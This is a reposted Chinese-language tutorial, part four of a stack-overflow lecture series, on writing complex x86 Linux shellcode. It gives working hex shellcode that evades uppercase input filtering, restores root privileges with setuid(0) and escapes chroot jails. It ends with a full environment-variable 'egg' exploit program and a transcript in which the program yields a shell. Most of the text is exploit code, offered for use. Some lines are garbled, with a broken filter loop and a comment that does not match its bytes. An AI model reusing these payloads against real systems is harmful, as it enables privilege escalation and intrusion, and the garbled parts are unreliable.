堆栈溢出系列讲座(4)(转)
复杂的shellcode
前面几讲,我们已经有了基本的堆栈溢出知识,可以编写基本的shellcode了。这一讲,
我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的shellcode。
复杂shellcode的产生是由于有一定防范措施的的目标程序。(所谓道高一尺,魔高一丈)
。以下分类讨论几种情况。注意,下面的分类是不全面的,也不可能穷尽所有的情况,
只是提供一些例子来阐明修改shellcode的技巧。
1:输入的溢出字符串被预处理
比如,如果敌人在自己的程序里面加入如下代码,就可抑制前面提到的堆栈溢出的攻击:
------------------------------------------------------------------------
。。。。。。
for(i=0;i=toupper(argv[1]);
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^加入的代码
。。。。。。
strcpy(buffer,argv[1]);
------------------------------------------------------------------------
显然,由于toupper函数对输入进行了过滤处理,/bin/sh变成了\BIN\SH,UNIX系统是
大小写敏感的,因此execve系统调用不会成功。自然得不到shell。
怎么办?我们可以修改shellcode,使他不包含ascII为0x60--0x7a的字符。我们把
/bin/sh的每一个字母都减去0x50,得到"\x2f\x12\x19\x1e\x2f\x23\x18",在shellcode
里面再把它们改回来。
另外,指令"\x89\x76\x08"/* movl %esi,0x8(%esi) */
也有问题字符\x76.我们可以把他改成其他的等价指令。比如改成:
"movl %esi,%eax", "addl $0x8,%eax","movl %eax,0x8(%esi)".
新的shellcode如下:
char shellcode[]=
"\xeb\x38"/* jmp 0x38*/
"\x5e"/* popl %esi */
"\x80\x46\x01\x50"/* addb $0x50,0x1(%esi)*/
"\x80\x46\x02\x50"/* addb $0x50,0x2(%esi)*/
"\x80\x46\x03\x50"/* addb $0x50,0x3(%esi)*/
"\x80\x46\x05\x50"/* addb $0x50,0x5(%esi)*/
"\x80\x46\x06\x50"/* addb $0x50,0x6(%esi)*/
"\x89\xf0"/* movl %esi,%eax*/
"\x83\xc0\x08"/* addl $0x8,%eax*/
"\x89\x46\x08"/* movl %eax,0x8(%esi) */
"\x31\xc0"/* xorl %eax,%eax*/
"\x88\x46\x07"/* movb %eax,0x7(%esi) */
"\x89\x46\x0c"/* movl %eax,0xc(%esi) */
"\xb0\x0b"/* movb $0xb,%al */
"\x89\xf3"/* movl %esi,%ebx*/
"\x8d\x4e\x08"/* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c"/* leal 0xc(%esi),%edx */
"\xcd\x80"/* int $0x80 */
"\x31\xdb"/* xorl %ebx,%ebx*/
"\x89\xd8"/* movl %ebx,%eax*/
"\x40"/* inc %eax*/
"\xcd\x80"/* int $0x80 */
"\xe8\xc3\xff\xff\xff"/* call -0x3d*/
"\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */
/* /bin/sh is disguised*/
好,一个新的shellcode,绕过了预处理器的检查。我们可以用这种方法解决那些
不允许有某些字符集合的预处理检查。比如不允许!@#$%^;*的,等等。
2:对付seteuid(getuid())
有的程序在开始的时候seteuid(getuid()),然后在需要的时候才进行
setuid(0)。这样就可以在发生堆栈溢出的时候由于euid!=0而使我们只能得到普通shell ?
当你搞定了一个setuid位的程序,却发现只得到了普通用户shell的时候,就很可
能是这种情况。
但是,如果我们在自己的shellcode里面加上setuid(0),就一样可以得到
rootshell。
我们写一个带有setuid的程序,用gcc -static 编译,使用gdb来试验:
(gdb) disassemble setuid
Dump of assembler code for function __setuid:
0x804ca00 <__setuid>: movl %ebx,%edx
0x804ca02 <__setuid+2>: movl 0x4(%esp,1),%ebx
0x804ca06 <__setuid+6>: movl $0x17,%eax
0x804ca0b <__setuid+11>:int$0x80
0x804ca0d <__setuid+13>:movl %edx,%ebx
0x804ca0f <__setuid+15>:cmpl $0xfffff001,%eax
0x804ca14 <__setuid+20>:jae0x804cc10 <__syscall_error>
0x804ca1a <__setuid+26>:ret
0x804ca1b <__setuid+27>:nop
0x804ca1c <__setuid+28>:nop
0x804ca1d <__setuid+29>:nop
0x804ca1e <__setuid+30>:nop
0x804ca1f <__setuid+31>:nop
End of assembler dump.
我们可以用b/bx指令得到:setuid(0)的汇编代码:
------------------------------------------------------------------------
char code[]=
"\x31\xc0"/* xorl %eax,%eax*/
"\x31\xdb"/* xorl %ebx,%ebx*/
"\xb0\x17"/* movb $0x17,%al*/
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
把这段代码加到标准shellcode中jmp的前面就可以了。
(注意,最好不要加到jmp的后面,因为还要重新计算偏移,而且如果期间有堆栈操作,
就把string的返回地址冲掉了)
new shellcode
------------------------------------------------------------------------
char shellcode[]=
"\x31\xc0"/* xorl %eax,%eax*/
"\x31\xdb"/* xorl %ebx,%ebx*/
"\xb0\x17"/* movb $0x17,%al*/
"\xcd\x80"/* int $0x80 */
"\xeb\x1f"/* jmp 0x1f*/
"\x5e"/* popl %esi */
"\x89\x76\x08"/* movl %esi,0x8(%esi) */
"\x31\xc0"/* xorl %eax,%eax*/
"\x88\x46\x07"/* movb %eax,0x7(%esi) */
"\x89\x46\x0c"/* movl %eax,0xc(%esi) */
"\xb0\x0b"/* movb $0xb,%al */
"\x89\xf3"/* movl %esi,%ebx*/
"\x8d\x4e\x08"/* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c"/* leal 0xc(%esi),%edx */
"\xcd\x80"/* int $0x80 */
"\x31\xdb"/* xorl %ebx,%ebx*/
"\x89\xd8"/* movl %ebx,%eax*/
"\x40"/* inc %eax*/
"\xcd\x80"/* int $0x80 */
"\xe8\xdc\xff\xff\xff"/* call -0x24*/
"/bin/sh";/* .string \"/bin/sh\" */
------------------------------------------------------------------------
3:敌人把root的根目录给改掉了
有的程序chroot了(比如/home/ftp),我们B.O之后只能在指定的目录里面打转。
结果我们的/bin/sh变成了/home/ftp/bin/sh,当然不会存在。execve执行sh必然失败。
我们可以进行如下操作:以找回root的根目录\。
mkdir("sh");
chroot("sh");
chroot("../../../../../../../");
它们的汇编代码为:
mkdir("sh",0755); code
------------------------------------------------------------------------
/* mkdir first argument is %ebx and second argument is */
/* %ecx. */
char code[]=
"\x31\xc0"/* xorl %eax,%eax*/
"\x31\xc9"/* xorl %ecx,%ecx*/
"\xb0\x27"/* movb $0x27,%al*/
"\x8d\x5e\x05"/* leal 0x5(%esi),%ebx */
/* %esi has to reference "/bin/sh" before using this */
/* instruction. This instruction load address of "sh"*/
/* and store at %ebx */
"\xfe\xc5"/* incb %ch*/
/* %cx = 0000 0001 0000 0000 */
"\xb0\x3d"/* movb $0xed,%cl*/
/* %cx = 0000 0001 1110 1101 */
/* %cx = 000 111 101 101 */
/* %cx = 0 7 5 5 */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
chroot("sh"); code
------------------------------------------------------------------------
/* chroot first argument is ebx */
char code[]=
"\x31\xc0"/* xorl %eax,%eax*/
"\x8d\x5e\x05"/* leal 0x5(%esi),%ebx */
"\xb0\x3d"/* movb $0x3d,%al*/
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
chroot("../../../../../../../../../../../../../../../../"); code
------------------------------------------------------------------------
char code[]=
"\xbb\xd2\xd1\xd0\xff"/* movl $0xffd0d1d2,%ebx */
/* disguised "../" character string*/
"\xf7\xdb"/* negl %ebx */
/* %ebx = $0x002f2e2e*/
/* intel x86 is little endian. */
/* %ebx = "../"*/
"\x31\xc9"/* xorl %ecx,%ecx*/
"\xb1\x10"/* movb $0x10,%cl*/
/* prepare for looping 16 times. */
"\x56"/* pushl %esi*/
/* backup current %esi. %esi has the pointer of*/
/* "/bin/sh".*/
"\x01\xce"/* addl %ecx,%esi*/
"\x89\x1e"/* movl %ebx,(%esi)*/
"\x83\xc6\x03"/* addl $0x3,%esi*/
"\xe0\xf9"/* loopne -0x7 */
/* make "../../../../ . . . " character string at*/
/* 0x10(%esi) by looping.*/
"\x5e"/* popl %esi */
/* restore %esi. */
"\xb0\x3d"/* movb $0x3d,%al*/
"\x8d\x5e\x10"/* leal 0x10(%esi),%ebx*/
/* %ebx has the address of "../../../../ . . . ".*/
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
我们把这些代码加进去:
new shellcode
------------------------------------------------------------------------
char shellcode[]=
"\xeb\x4f"/* jmp 0x4f*/
"\x31\xc0"/* xorl %eax,%eax*/
"\x31\xc9"/* xorl %ecx,%ecx*/
"\x5e"/* popl %esi */
"\x88\x46\x07"/* movb %al,0x7(%esi)*/
"\xb0\x27"/* movb $0x27,%al*/
"\x8d\x5e\x05"/* leal 0x5(%esi),%ebx */
"\xfe\xc5"/* incb %ch*/
"\xb1\xed"/* movb $0xed,%cl*/
"\xcd\x80"/* int $0x80 */
"\x31\xc0"/* xorl %eax,%eax*/
"\x8d\x5e\x05"/* leal 0x5(%esi),%ebx */
"\xb0\x3d"/* movb $0x3d,%al*/
"\xcd\x80"/* int $0x80 */
"\x31\xc0"/* xorl %eax,%eax*/
"\xbb\xd2\xd1\xd0\xff"/* movl $0xffd0d1d2,%ebx */
"\xf7\xdb"/* negl %ebx */
"\x31\xc9"/* xorl %ecx,%ecx*/
"\xb1\x10"/* movb $0x10,%cl*/
"\x56"/* pushl %esi*/
"\x01\xce"/* addl %ecx,%esi*/
"\x89\x1e"/* movl %ebx,(%esi)*/
"\x83\xc6\x03"/* addl %0x3,%esi*/
"\xe0\xf9"/* loopne -0x7 */
"\x5e"/* popl %esi */
"\xb0\x3d"/* movb $0x3d,%al*/
"\x8d\x5e\x10"/* leal 0x10(%esi),%ebx*/
"\xcd\x80"/* int $0x80 */
"\x31\xc0"/* xorl %eax,%eax*/
"\x89\x76\x08"/* movl %esi,0x8(%esi) */
"\x89\x46\x0c"/* movl %eax,0xc(%esi) */
"\xb0\x0b"/* movb $0xb,%al */
"\x89\xf3"/* movl %esi,%ebx*/
"\x8d\x4e\x08"/* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c"/* leal 0xc(%esi),%edx */
"\xcd\x80"/* int $0x80 */
"\xe8\xac\xff\xff\xff"/* call -0x54*/
"/bin/sh";/* .string \"/bin/sh\" */
------------------------------------------------------------------------
4:敌人的buffer数组开的太小
如果敌人的strcpy(buffer,ourstring)中的buffer离 颜 顶过于接近,比如,只有12个
字节的偏移,我们的shellcode有几十个字节,如果buffer开的太小,是无法容纳下
shellcode的,结果会导致如下情况:
内存底部 内存顶部
buffer EBP ret
<------ [SSS...S][S ][S ]S..SAAAAAAAAAAA
^;buffer
栈顶部 堆栈底部
看到了吗?由于buffer太小,离栈顶又太近,相对于这个短小的空间,我们的shellcode
太长了,以至于覆盖了ret,而我们猜测的返回地址(A)被迫写到了更远的地方。这样,
函数执行完,返回的时候,取出的是shellcode的某一个片断作为返回地址,跑到月球上
了。。。
为了解决这个问题,我们引入了环境变量。为了避免溢出字符串的长度大于buffer长度
的情况,我们把溢出串放在一个环境变量里面,把他的地址放在另一个环境变量里面。
这两个变量分别为:
$RET = AAAAAAAAAAAAAAAAAAAAA
$EGG = NNNNNNNNNNNSSSSSSSSSS
把变量RET的内容作为参数传给被测试的程序。
这里有必要解释一下linux系统中的环境变量。每一个程序在开始运行的时候,父shell
的环境变量都会在堆栈中。因此,当目标程序在一个以EGG为环境变量的shell中运行时
,他的堆栈里面就自动继承了我们的EGG变量的内容。见下图所示:
颜欢? 堆
栈底
<参数指针>NULL<环境变量指针>NULL<参数个数><参数><环境变量>
这样,当我们用猜测的地址(A)构成的RET变量传给敌人的strcpy函数时,他的堆栈就
会被A充满。如果我们的EGG很大,那么里面的NOP就越多,自然命中的概率就越大。
overflow.c
------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset= atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can';t allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can';t allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode;
buff[bsize - 1] = ';\0';;
egg[eggsize - 1] = ';\0';;
//现在,egg里面内容为:NNNNNNNNNNNNNNNNNNSSS
//buff里面的内容为AAAAAAAAAAAAAAAAAAA,
//我们猜测的egg环境变量的开始地址。
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
//使用 putenv 来设置EGG,RET这两个环境变量。
system("/bin/bash");
//这个bash继承了两个环境变量。
}
------------------------------------------------------------------------
好了,来试一试:
------------------------------------------------------------------------
[nkl10]$ ./overflow 768
Using address: 0xbffffdb0
[nkl10]$ ./overflow $RET
$
------------------------------------------------------------------------
|